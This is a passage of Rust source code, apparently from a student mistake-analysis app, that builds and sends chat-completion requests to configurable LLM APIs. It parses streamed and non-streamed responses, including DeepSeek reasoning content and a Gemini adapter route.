if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| {
let error_msg = if e.to_string().contains("timed out") {
format!("模型一API请求超时，请检查网络连接或稍后重试: {}", e)
} else if e.to_string().contains("connect") {
format!("无法连接到模型一API服务器，请检查网络和API地址: {}", e)
} else {
format!("模型一API请求失败: {}", e)
};
AppError::network(error_msg)
})?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("模型一API请求失败: {} - {}", status, error_text)));
}
// 先获取原始响应文本进行调试
let response_text = response.text().await
.map_err(|e| AppError::llm(format!("获取模型一响应文本失败: {}", e)))?;
// 打印原始响应以供调试（安全处理UTF-8）
let preview_text = if response_text.len() > 200 {
// 安全地截取前200个字节，避免UTF-8字符边界问题
let mut end = 200;
while end > 0 && !response_text.is_char_boundary(end) {
end -= 1;
}
format!("{}...", &response_text[..end])
} else {
response_text.clone()
};
// 检查是否为二进制数据
let is_binary = response_text.chars().any(|c| c.is_control() && c != '\n' && c != '\r' && c != '\t');
println!("📄 模型一原始响应文本 (前200字符): {}", preview_text);
if is_binary {
println!("⚠️ 检测到二进制响应数据，这不是有效的JSON文本");
println!("📄 响应长度: {} 字节", response_text.len());
println!("📄 响应开头字节: {:?}", response_text.as_bytes().get(..10).unwrap_or(&[]));
}
// 检查响应是否为空
if response_text.trim().is_empty() {
return Err(AppError::llm("模型一API返回空响应".to_string()));
}
// 检查是否为流式响应（SSE格式）
if response_text.contains("data: ") || response_text.starts_with("data:") {
println!("⚠️ 检测到流式响应，但期望非流式响应");
return Err(AppError::llm("API返回了流式响应，但模型一需要非流式响应。请检查API配置或切换到支持非流式的模型。".to_string()));
}
// 清理可能的额外字符（一些API可能在JSON前后添加额外内容）
let cleaned_response = response_text.trim();
let cleaned_response = if let Some(start) = cleaned_response.find('{') {
if let Some(end) = cleaned_response.rfind('}') {
&cleaned_response[start..=end]
} else {
cleaned_response
}
} else {
cleaned_response
};
// 尝试解析为JSON
let response_json: Value = serde_json::from_str(cleaned_response)
.map_err(|e| {
println!("📄 JSON解析失败的完整响应: {}", response_text);
println!("📄 清理后的响应: {}", cleaned_response);
{
// 安全地截取响应文本用于错误报告
let error_preview = if response_text.len() > 500 {
let mut end = 500;
while end > 0 && !response_text.is_char_boundary(end) {
end -= 1;
}
format!("{}...", &response_text[..end])
} else {
response_text.clone()
};
if is_binary {
AppError::llm(format!("API返回了二进制数据而非JSON文本。可能的原因：\n1. 响应被压缩（gzip/deflate）\n2. API配置错误\n3. 网络传输问题\n错误: {}", e))
} else {
AppError::llm(format!("解析模型一响应失败: {} \n原始响应: {}", e, error_preview))
}
}
})?;
let content_str = response_json["choices"][0]["message"]["content"]
.as_str()
.ok_or_else(|| AppError::llm("无法解析模型一API响应"))?;
println!("模型一原始响应内容: {}", content_str);
println!("响应长度: {} 字符", content_str.len());
// 添加响应分析
if content_str.len() <= 10 {
println!("⚠️ 警告：模型响应内容过短，可能存在以下问题：");
println!(" 1. max_tokens 设置过低（当前：{}）", config.max_output_tokens);
println!(" 2. API 密钥权限不足");
println!(" 3. 模型配置错误");
println!(" 4. 请求内容触发了安全限制");
println!("完整响应JSON: {}", serde_json::to_string_pretty(&response_json).unwrap_or_default());
}
// 强化的JSON解析逻辑 - 多层次解析策略
let parsed_json = parse_model1_json_response(content_str)?;
Ok(StandardModel1Output {
ocr_text: parsed_json["ocr_text"].as_str().unwrap_or("").to_string(),
tags: parsed_json["tags"].as_array()
.map(|arr| arr.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
.unwrap_or_default(),
mistake_type: parsed_json["mistake_type"].as_str().unwrap_or("").to_string(),
raw_response: Some(content_str.to_string()),
})
}
// 统一AI接口层 - 模型二（核心解析/对话）- 流式版本
pub async fn call_unified_model_2_stream(
&self,
context: &HashMap<String, Value>,
chat_history: &[ChatMessage],
subject: &str,
enable_chain_of_thought: bool,
image_paths: Option<Vec<String>>,
task_context: Option<&str>,
window: Window,
stream_event: &str,
) -> Result<StandardModel2Output> {
println!("调用统一模型二接口(流式): 科目={}, 思维链={}, 图片数量={}",
subject, enable_chain_of_thought, image_paths.as_ref().map(|p| p.len()).unwrap_or(0));
// 获取模型配置
let config = self.get_model2_config().await?;
// 处理图片（如果模型支持多模态且提供了图片）
let images_base64 = if config.is_multimodal && image_paths.is_some() {
let mut base64_images = Vec::new();
for path in image_paths.unwrap() {
let base64_content = self.file_manager.read_file_as_base64(&path)?;
base64_images.push(base64_content);
}
Some(base64_images)
} else {
None
};
let mut messages = vec![];
// 获取科目专用的Prompt
let mut subject_prompt = self.get_subject_prompt(subject, "model2");
// 添加任务上下文
if let Some(context_str) = task_context {
subject_prompt = format!("{}\n\n任务上下文: {}", subject_prompt, context_str);
}
// 构建系统消息，包含RAG增强内容
let mut system_content = format!("{}\n\n题目信息:\nOCR文本: {}\n标签: {:?}\n题目类型: {}\n用户原问题: {}",
subject_prompt,
context.get("ocr_text").and_then(|v| v.as_str()).unwrap_or(""),
context.get("tags").and_then(|v| v.as_array()).unwrap_or(&vec![]),
context.get("mistake_type").and_then(|v| v.as_str()).unwrap_or(""),
context.get("user_question").and_then(|v| v.as_str()).unwrap_or("")
);
// 如果有RAG上下文，添加到系统消息中
if let Some(rag_context) = context.get("rag_context").and_then(|v| v.as_str()) {
system_content.push_str(&format!("\n\n--- 知识库参考信息 ---\n{}", rag_context));
}
// 如果有最新用户查询（继续对话时），添加到系统消息中
if let Some(latest_query) = context.get("latest_user_query").and_then(|v| v.as_str()) {
system_content.push_str(&format!("\n\n用户最新问题: {}", latest_query));
}
// 对于推理模型，系统消息需要合并到用户消息中
if config.is_reasoning {
// 推理模型不支持系统消息，需要将系统提示合并到用户消息中
let combined_content = format!("{}\n\n请基于上述信息，提供详细的解答。", system_content);
if config.is_multimodal && images_base64.is_some() && chat_history.is_empty() {
let mut content = vec![
json!({
"type": "text",
"text": combined_content
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": "user",
"content": content
}));
} else if chat_history.is_empty() {
messages.push(json!({
"role": "user",
"content": combined_content
}));
} else {
// 如果有聊天历史，将系统提示添加到第一条用户消息前
messages.push(json!({
"role": "user",
"content": format!("{}请基于前面的信息，回答我的新问题。", system_content)
}));
}
} else {
// 非推理模型使用标准的系统消息
messages.push(json!({
"role": "system",
"content": system_content
}));
// 如果是多模态模型且提供了图片，添加图片到第一条用户消息
if config.is_multimodal && images_base64.is_some() && chat_history.is_empty() {
let mut content = vec![
json!({
"type": "text",
"text": "请基于上述信息和图片，提供详细的解答。"
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": "user",
"content": content
}));
} else if chat_history.is_empty() {
// 纯文本模型或没有提供图片
messages.push(json!({
"role": "user",
"content": "请基于上述信息，提供详细的解答。"
}));
}
}
// 添加聊天历史
for (index, msg) in chat_history.iter().enumerate() {
// 🎯 修复：如果是多模态模型且有图片，在最后一条用户消息中添加图片
if msg.role == "user" && index == chat_history.len() - 1 && config.is_multimodal && images_base64.is_some() {
let mut content = vec![
json!({
"type": "text",
"text": msg.content.clone()
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": msg.role,
"content": content
}));
} else {
messages.push(json!({
"role": msg.role,
"content": msg.content
}));
}
}
let mut request_body = json!({
"model": config.model,
"messages": messages,
"stream": true
});
// 根据模型适配器类型和是否为推理模型设置不同的参数
println!("模型适配器类型: {}, 推理模型: {}, 前端请求思维链: {}",
config.model_adapter, config.is_reasoning, enable_chain_of_thought);
let is_deepseek_model_family = config.model_adapter == "deepseek-r1" ||
config.model.to_lowercase().contains("deepseek");
if config.is_reasoning { // 目标是推理模型
match config.model_adapter.as_str() {
"deepseek-r1" => {
request_body["max_tokens"] = json!(config.max_output_tokens);
// 只有当明确是 deepseek-r1 且前端请求了思维链时，才添加 stream_options
// 或者，如果 deepseek-r1 总是需要这个选项来保证流式稳定，则无条件添加
if enable_chain_of_thought { // 或者无条件添加 if deepseek-r1 needs it
request_body["stream_options"] = json!({"include_usage": true});
println!("应用 DeepSeek-R1 特殊参数 (启用思维链): max_tokens={}, stream_options=include_usage", config.max_output_tokens);
} else {
println!("应用 DeepSeek-R1 特殊参数 (未启用思维链): max_tokens={}", config.max_output_tokens);
}
},
_ => { // 其他推理模型
request_body["max_completion_tokens"] = json!(config.max_output_tokens);
println!("应用通用推理模型参数: max_completion_tokens={}", config.max_output_tokens);
}
}
} else { // 目标是非推理模型 (例如 deepseek-v3 可能落入此分支)
if is_deepseek_model_family {
request_body["max_tokens"] = json!(config.max_output_tokens);
request_body["temperature"] = json!(config.temperature);
// 对于非推理的DeepSeek模型，如果它们不支持或不需要 stream_options，则不应添加
// 如果它们也需要 stream_options 来稳定流式输出，则可以考虑添加
// request_body["stream_options"] = json!({"include_usage": true});
println!("应用 DeepSeek 普通模型参数: max_tokens={}, temperature={}", config.max_output_tokens, config.temperature);
} else { // 其他通用非推理模型
request_body["max_tokens"] = json!(config.max_output_tokens);
request_body["temperature"] = json!(config.temperature);
println!("应用普通模型参数: max_tokens={}, temperature={}", config.max_output_tokens, config.temperature);
}
// 关键：如果模型是非推理模型，即使前端请求了思维链，
// 也不要向API发送特定于思维链的参数，除非该模型明确支持。
// 对于通用模型，通常不需要为"思维链"传递特殊参数，模型会自然地按指令回复。
// 如果 enable_chain_of_thought 对非推理模型意味着不同的处理（例如，更详细的回复），
// 这里的逻辑可能需要调整，但通常是Prompt工程的一部分，而不是API参数。
if enable_chain_of_thought {
println!("警告: 前端为非推理模型 {} 请求了思维链。通常这由Prompt控制，而非特定API参数。", config.model);
}
}
let mut request_builder = self.client
.post(&format!("{}/chat/completions", config.base_url))
.header("Authorization", format!("Bearer {}", config.api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) {
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| AppError::network(format!("模型二API请求失败: {}", e)))?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("模型二API请求失败: {} - {}", status, error_text)));
}
let mut stream = response.bytes_stream();
let mut full_content = String::new();
let mut reasoning_content = String::new(); // 收集思维链内容
let mut chunk_counter = 0;
let mut stream_ended = false;
// 添加调试日志输出
println!("🚀 发送给模型二的请求:");
println!("URL: {}/chat/completions", config.base_url);
println!("Model: {}", config.model);
println!("请求内容: {}", serde_json::to_string_pretty(&request_body).unwrap_or_else(|_| "序列化失败".to_string()));
println!("---请求结束---");
while let Some(chunk_result) = stream.next().await {
match chunk_result {
Ok(chunk) => {
let chunk_str = String::from_utf8_lossy(&chunk);
// 输出原始响应块（仅输出前几个块避免日志过多）
if chunk_counter < 5 || stream_ended {
println!("📥 原始响应块 #{}: {}", chunk_counter, chunk_str);
}
// 处理SSE格式的数据
for line in chunk_str.lines() {
if line.starts_with("data: ") {
let data = &line[6..]; // 移除 "data: " 前缀
if data == "[DONE]" {
// 流结束，标记但不立即发送完成信号
stream_ended = true;
println!("📍 收到流结束标记 [DONE]");
break;
}
// 特殊处理DeepSeek错误格式
if is_deepseek_model_family && (data.contains("升级") || data.contains("关闭") || data.contains("日志")) {
println!("❌ 检测到DeepSeek特定错误: {}", data);
let error_message = format!("DeepSeek API错误: {}", data);
// 发送错误事件到前端
if let Err(e) = window.emit("stream_error", &serde_json::json!({"error": error_message})) {
println!("发送DeepSeek错误事件失败: {}", e);
}
return Err(AppError::llm(error_message));
}
// 尝试解析JSON
if let Ok(json_data) = serde_json::from_str::<Value>(data) {
// 输出解析后的JSON结构（仅输出前几个）
if chunk_counter < 5 {
println!("🔍 解析后的JSON数据: {}", serde_json::to_string_pretty(&json_data).unwrap_or_else(|_| "序列化失败".to_string()));
}
if let Some(choices) = json_data["choices"].as_array() {
if let Some(choice) = choices.first() {
if let Some(delta) = choice["delta"].as_object() {
// DeepSeek-R1 推理模型的思维链内容在 reasoning_content 字段
if let Some(reasoning_content_chunk) = delta.get("reasoning_content").and_then(|v| v.as_str()) {
// 这是思维链内容
reasoning_content.push_str(reasoning_content_chunk); // 收集思维链
chunk_counter += 1;
if chunk_counter < 10 {
println!("🧠 收到思维链块: {}", reasoning_content_chunk);
}
let stream_chunk = StreamChunk {
content: reasoning_content_chunk.to_string(),
is_complete: false,
chunk_id: format!("reasoning_chunk_{}", chunk_counter),
};
// 发送思维链流事件到前端
if let Err(e) = window.emit(&format!("{}_reasoning", stream_event), &stream_chunk) {
println!("发送思维链流事件失败: {}", e);
}
}
// 普通内容仍在 content 字段
if let Some(content) = delta.get("content").and_then(|v| v.as_str()) {
full_content.push_str(content);
chunk_counter += 1;
if chunk_counter < 10 {
println!("💬 收到主内容块: {}", content);
}
let stream_chunk = StreamChunk {
content: content.to_string(),
is_complete: false,
chunk_id: format!("chunk_{}", chunk_counter),
};
// 发送流事件到前端
if let Err(e) = window.emit(stream_event, &stream_chunk) {
println!("发送流事件失败: {}", e);
}
}
}
}
}
} else {
// JSON解析失败，输出原始数据以便调试
if chunk_counter < 10 {
println!("⚠️ JSON解析失败，原始数据: {}", data);
}
// 检查是否是错误信息
if data.contains("error") || data.contains("Error") || data.contains("升级") {
println!("❌ 检测到流式请求错误: {}", data);
// 尝试解析错误信息
let error_message = if let Ok(error_json) = serde_json::from_str::<serde_json::Value>(data) {
if let Some(error_msg) = error_json.get("error").and_then(|e| e.as_str()) {
error_msg.to_string()
} else if let Some(message) = error_json.get("message").and_then(|m| m.as_str()) {
message.to_string()
} else {
format!("流式请求错误: {}", data)
}
} else {
format!("流式请求解析错误: {}", data)
};
// 发送错误事件到前端
if let Err(e) = window.emit("stream_error", &serde_json::json!({"error": error_message})) {
println!("发送错误事件失败: {}", e);
}
return Err(AppError::llm(error_message));
}
}
}
}
}
Err(e) => {
println!("❌ 流读取错误: {}", e);
println!("已处理块数: {}, 主内容长度: {}, 思维链长度: {}",
chunk_counter, full_content.len(), reasoning_content.len());
// 如果已经有内容，不把这当作完全失败
if !full_content.is_empty() || !reasoning_content.is_empty() {
println!("⚠️ 部分内容已接收，标记为部分成功");
break;
} else {
println!("💥 没有接收到任何内容，这是完全失败");
return Err(AppError::network(format!("流式请求失败: {}", e)));
}
}
}
// 如果流已结束，退出循环
if stream_ended {
break;
}
}
// 输出最终收集的内容长度
println!("📊 流式响应完成统计:");
println!(" - 主内容总长度: {} 字符", full_content.len());
println!(" - 思维链总长度: {} 字符", reasoning_content.len());
println!(" - 主内容预览:");
if full_content.chars().count() > 50 {
let preview: String = full_content.chars().take(50).collect();
println!("{}...", preview);
} else {
println!("{}", full_content);
}
println!(" - 思维链预览:");
if reasoning_content.chars().count() > 50 {
let preview: String = reasoning_content.chars().take(50).collect();
println!("{}...", preview);
} else {
println!("{}", reasoning_content);
}
// 发送最终完成信号到主内容流
let final_chunk = StreamChunk {
content: full_content.clone(), // 发送完整内容而不是空字符串
is_complete: true,
chunk_id: format!("final_chunk_{}", chunk_counter + 1),
};
if let Err(e) = window.emit(stream_event, &final_chunk) {
println!("发送最终主内容完成信号失败: {}", e);
} else {
println!("✅ 发送主内容完成信号成功，内容长度: {}", full_content.len());
}
// 如果有思维链内容，也发送思维链完成信号
if enable_chain_of_thought && !reasoning_content.is_empty() {
let reasoning_final_chunk = StreamChunk {
content: reasoning_content.clone(), // 也发送完整的思维链内容
is_complete: true,
chunk_id: format!("reasoning_final_chunk_{}", chunk_counter + 1),
};
if let Err(e) = window.emit(&format!("{}_reasoning", stream_event), &reasoning_final_chunk) {
println!("发送思维链完成信号失败: {}", e);
} else {
println!("✅ 发送思维链完成信号成功，内容长度: {}", reasoning_content.len());
}
}
// 如果启用了思维链，尝试提取思维链详情
let is_deepseek_r1 = config.model_adapter == "deepseek-r1";
let chain_of_thought_details = if enable_chain_of_thought || is_deepseek_r1 {
if config.is_reasoning || is_deepseek_r1 {
// 推理模型自动包含思维链
let details = if is_deepseek_r1 && !reasoning_content.is_empty() {
// DeepSeek-R1 的思维链在 reasoning_content 中
json!({
"full_response": full_content,
"reasoning_content": reasoning_content,
"enabled": true,
"is_reasoning_model": true,
"model_type": "deepseek-r1",
"model_adapter": config.model_adapter,
"parsed_sections": extract_reasoning_sections(&reasoning_content)
})
} else {
// 其他推理模型的思维链在主内容中
json!({
"full_response": full_content,
"enabled": true,
"is_reasoning_model": true,
"model_adapter": config.model_adapter,
"parsed_sections": extract_reasoning_sections(&full_content)
})
};
Some(details)
} else {
// 普通模型的思维链处理
Some(json!({
"full_response": full_content,
"enabled": true,
"is_reasoning_model": false,
"model_adapter": config.model_adapter
}))
}
} else {
None
};
Ok(StandardModel2Output {
assistant_message: full_content,
raw_response: Some("stream_response".to_string()),
chain_of_thought_details,
})
}
// 🎯 新增：通用流式接口，支持自定义模型配置（用于总结请求等特殊场景）
pub async fn call_unified_model_stream_with_config(
&self,
config: &ApiConfig,
context: &HashMap<String, Value>,
chat_history: &[ChatMessage],
subject: &str,
enable_chain_of_thought: bool,
image_paths: Option<Vec<String>>,
task_context: Option<&str>,
window: Window,
stream_event: &str,
) -> Result<StandardModel2Output> {
println!("调用通用流式接口: 模型={}, 科目={}, 思维链={}, 图片数量={}",
config.model, subject, enable_chain_of_thought, image_paths.as_ref().map(|p| p.len()).unwrap_or(0));
// *** 新增的适配器路由逻辑 ***
if config.model_adapter == "google" {
// 处理图片（如果模型支持多模态且提供了图片）
let images_base64 = if config.is_multimodal && image_paths.is_some() {
let mut base64_images = Vec::new();
for path in image_paths.as_ref().unwrap() {
let base64_content = self.file_manager.read_file_as_base64(path)?;
base64_images.push(base64_content);
}
Some(base64_images)
} else {
None
};
// 构建 ChatMessage 格式的消息历史
let mut messages_with_images = chat_history.to_vec();
// 如果有图片且是多模态模型，将图片添加到最后一条用户消息
if let Some(images) = images_base64 {
if let Some(last_msg) = messages_with_images.last_mut() {
if last_msg.role == "user" {
last_msg.image_base64 = Some(images);
}
} else {
// 如果没有聊天历史，创建一个包含图片的用户消息
let mut system_content = String::new();
// 构建系统提示词
if !context.is_empty() {
for (key, value) in context {
match key.as_str() {
"ocr_text" => system_content.push_str(&format!("题目内容: {}\n", value.as_str().unwrap_or(""))),
"user_question" => system_content.push_str(&format!("学生问题: {}\n", value.as_str().unwrap_or(""))),
"tags" => {
if let Some(tags_array) = value.as_array() {
let tags: Vec<String> = tags_array.iter()
.filter_map(|v| v.as_str())
.map(|s| s.to_string())
.collect();
if !tags.is_empty() {
system_content.push_str(&format!("相关标签: {}\n", tags.join(", ")));
}
}
},
"mistake_type" => system_content.push_str(&format!("题目类型: {}\n", value.as_str().unwrap_or(""))),
_ => {}
}
}
}
system_content.push_str("请基于上述信息和图片，提供详细的解答。");
let message = ChatMessage {
role: "user".to_string(),
content: system_content,
timestamp: chrono::Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: Some(images),
};
messages_with_images.push(message);
}
}
// 调用 Gemini 适配器（流式）
return gemini_adapter::stream_chat(
&self.client,
config,
&messages_with_images,
window,
stream_event,
).await;
}
// *** 适配器逻辑结束 ***
// 处理图片（如果模型支持多模态且提供了图片）
let images_base64 = if config.is_multimodal && image_paths.is_some() {
let mut base64_images = Vec::new();
for path in image_paths.unwrap() {
let base64_content = self.file_manager.read_file_as_base64(&path)?;
base64_images.push(base64_content);
}
Some(base64_images)
} else {
None
};
let mut messages = vec![];
// 获取科目专用的Prompt
let subject_prompt = self.db.get_subject_config_by_name(subject)
.unwrap_or(None)
.map(|config| {
match task_context {
Some(task) if task.contains("总结") || task.contains("summary") => {
format!("【科目专用指导 - {}】\n{}\n\n", subject, config.prompts.analysis_prompt)
},
_ => {
format!("【科目专用指导 - {}】\n{}\n\n", subject, config.prompts.chat_prompt)
}
}
})
.unwrap_or_else(|| format!("请基于{}科目的特点进行分析。\n\n", subject));
// 构建系统提示词（使用与call_unified_model_2_stream相同的逻辑）
if !context.is_empty() {
let mut system_content = subject_prompt;
if let Some(task_ctx) = task_context {
system_content.push_str(&format!("【任务背景】\n{}\n\n", task_ctx));
}
for (key, value) in context {
match key.as_str() {
"ocr_text" => system_content.push_str(&format!("【题目内容】\n{}\n\n", value.as_str().unwrap_or(""))),
"user_question" => system_content.push_str(&format!("【学生问题】\n{}\n\n", value.as_str().unwrap_or(""))),
"tags" => {
if let Some(tags_array) = value.as_array() {
let tags: Vec<String> = tags_array.iter()
.filter_map(|v| v.as_str())
.map(|s| s.to_string())
.collect();
if !tags.is_empty() {
system_content.push_str(&format!("【相关标签】\n{}\n\n", tags.join(", ")));
}
}
},
"mistake_type" => system_content.push_str(&format!("【题目类型】\n{}\n\n", value.as_str().unwrap_or(""))),
_ => {}
}
}
messages.push(json!({
"role": "system",
"content": system_content
}));
// 如果是多模态模型且提供了图片，添加图片到第一条用户消息
if config.is_multimodal && images_base64.is_some() && chat_history.is_empty() {
let mut content = vec![
json!({
"type": "text",
"text": "请基于上述信息和图片，提供详细的解答。"
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": "user",
"content": content
}));
} else if chat_history.is_empty() {
// 纯文本模型或没有提供图片
messages.push(json!({
"role": "user",
"content": "请基于上述信息，提供详细的解答。"
}));
}
}
// 添加聊天历史
for (index, msg) in chat_history.iter().enumerate() {
// 🎯 修复：如果是多模态模型且有图片，在最后一条用户消息中添加图片
if msg.role == "user" && index == chat_history.len() - 1 && config.is_multimodal && images_base64.is_some() {
let mut content = vec![
json!({
"type": "text",
"text": msg.content.clone()
})
];
if let Some(images) = &images_base64 {
for image_base64 in images {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 检测到图像格式: {}", image_format);
content.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
}
messages.push(json!({
"role": msg.role,
"content": content
}));
} else {
messages.push(json!({
"role": msg.role,
"content": msg.content
}));
}
}
let mut request_body = json!({
"model": config.model,
"messages": messages,
"stream": true
});
// 根据模型适配器添加特定参数
match config.model_adapter.as_str() {
"deepseek-r1" => {
request_body["max_reasoning_tokens"] = json!(config.max_output_tokens);
request_body["max_completion_tokens"] = json!(4096);
request_body["temperature"] = json!(config.temperature);
},
_ => {
request_body["max_tokens"] = json!(config.max_output_tokens);
request_body["temperature"] = json!(config.temperature);
}
}
println!("发送请求到: {}", config.base_url);
let mut request_builder = self.client
.post(&format!("{}/chat/completions", config.base_url))
.header("Authorization", format!("Bearer {}", config.api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) { // config is a parameter here
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| AppError::network(format!("请求失败: {}", e)))?;
// 流式处理响应（使用与call_unified_model_2_stream相同的逻辑）
let mut stream = response.bytes_stream();
let mut full_content = String::new();
let mut reasoning_content = String::new();
let mut chunk_counter = 0;
while let Some(chunk_result) = stream.next().await {
match chunk_result {
Ok(chunk) => {
let chunk_str = String::from_utf8_lossy(&chunk);
for line in chunk_str.lines() {
if line.starts_with("data: ") {
let data = &line[6..];
if data == "[DONE]" {
break;
}
if let Ok(json_data) = serde_json::from_str::<Value>(data) {
if let Some(choices) = json_data["choices"].as_array() {
if let Some(choice) = choices.first() {
// 处理主内容
if let Some(delta) = choice["delta"].as_object() {
if let Some(content) = delta.get("content").and_then(|v| v.as_str()) {
full_content.push_str(content);
let chunk = StreamChunk {
content: content.to_string(),
is_complete: false,
chunk_id: format!("chunk_{}", chunk_counter),
};
if let Err(e) = window.emit(stream_event, &chunk) {
println!("发送流式数据失败: {}", e);
}
chunk_counter += 1;
}
}
// 处理思维链内容（DeepSeek-R1）
if config.model_adapter == "deepseek-r1" {
if let Some(delta) = choice["delta"].as_object() {
if let Some(reasoning) = delta.get("reasoning_content").and_then(|v| v.as_str()) {
reasoning_content.push_str(reasoning);
let reasoning_chunk = StreamChunk {
content: reasoning.to_string(),
is_complete: false,
chunk_id: format!("reasoning_chunk_{}", chunk_counter),
};
if let Err(e) = window.emit(&format!("{}_reasoning", stream_event), &reasoning_chunk) {
println!("发送思维链流式数据失败: {}", e);
}
}
}
}
}
}
}
}
}
}
Err(e) => {
println!("流式响应错误: {}", e);
break;
}
}
}
// 发送完成信号
let final_chunk = StreamChunk {
content: full_content.clone(),
is_complete: true,
chunk_id: format!("final_chunk_{}", chunk_counter),
};
if let Err(e) = window.emit(stream_event, &final_chunk) {
println!("发送最终完成信号失败: {}", e);
}
// 如果有思维链内容，也发送思维链完成信号
if enable_chain_of_thought && !reasoning_content.is_empty() {
let reasoning_final_chunk = StreamChunk {
content: reasoning_content.clone(),
is_complete: true,
chunk_id: format!("reasoning_final_chunk_{}", chunk_counter + 1),
};
if let Err(e) = window.emit(&format!("{}_reasoning", stream_event), &reasoning_final_chunk) {
println!("发送思维链完成信号失败: {}", e);
}
}
// 构建思维链详情
let is_deepseek_r1 = config.model_adapter == "deepseek-r1";
let chain_of_thought_details = if enable_chain_of_thought || is_deepseek_r1 {
if config.is_reasoning || is_deepseek_r1 {
let details = if is_deepseek_r1 && !reasoning_content.is_empty() {
json!({
"full_response": full_content,
"reasoning_content": reasoning_content,
"enabled": true,
"is_reasoning_model": true,
"model_type": "deepseek-r1",
"model_adapter": config.model_adapter
})
} else {
json!({
"full_response": full_content,
"enabled": true,
"is_reasoning_model": true,
"model_adapter": config.model_adapter
})
};
Some(details)
} else {
None
}
} else {
None
};
Ok(StandardModel2Output {
assistant_message: full_content,
raw_response: Some("stream_response".to_string()),
chain_of_thought_details,
})
}
// 统一AI接口层 - 模型二（核心解析/对话）- 非流式版本（保持向后兼容）
pub async fn call_unified_model_2(
&self,
context: &HashMap<String, Value>,
chat_history: &[ChatMessage],
subject: &str,
enable_chain_of_thought: bool,
image_paths: Option<Vec<String>>,
task_context: Option<&str>,
) -> Result<StandardModel2Output> {
println!("调用统一模型二接口: 科目={}, 思维链={}, 图片数量={}",
subject, enable_chain_of_thought, image_paths.as_ref().map(|p| p.len()).unwrap_or(0));
// 获取模型配置
let config = self.get_model2_config().await?;
// 处理图片（如果模型支持多模态且提供了图片）
let images_base64 = if config.is_multimodal && image_paths.is_some() {
let mut base64_images = Vec::new();
for path in image_paths.unwrap() {
let base64_content = self.file_manager.read_file_as_base64(&path)?;
base64_images.push(base64_content);
}
Some(base64_images)
} else {
None
};
let mut messages = vec![];
// 获取科目专用的Prompt
let mut subject_prompt = self.get_subject_prompt(subject, "model2");
// 添加任务上下文
if let Some(context_str) = task_context {
subject_prompt = format!("{}\n\n任务上下文: {}", subject_prompt, context_str);
}
// 构建系统消息，包含RAG增强内容
let mut system_content = format!("{}\n\n题目信息:\nOCR文本: {}\n标签: {:?}\n题目类型: {}\n用户原问题: {}",
subject_prompt,
context.get("ocr_text").and_then(|v| v.as_str()).unwrap_or(""),
context.get("tags").and_then(|v| v.as_array()).unwrap_or(&vec![]),
context.get("mistake_type").and_then(|v| v.as_str()).unwrap_or(""),
context.get("user_question").and_then(|v| v.as_str()).unwrap_or("")
);
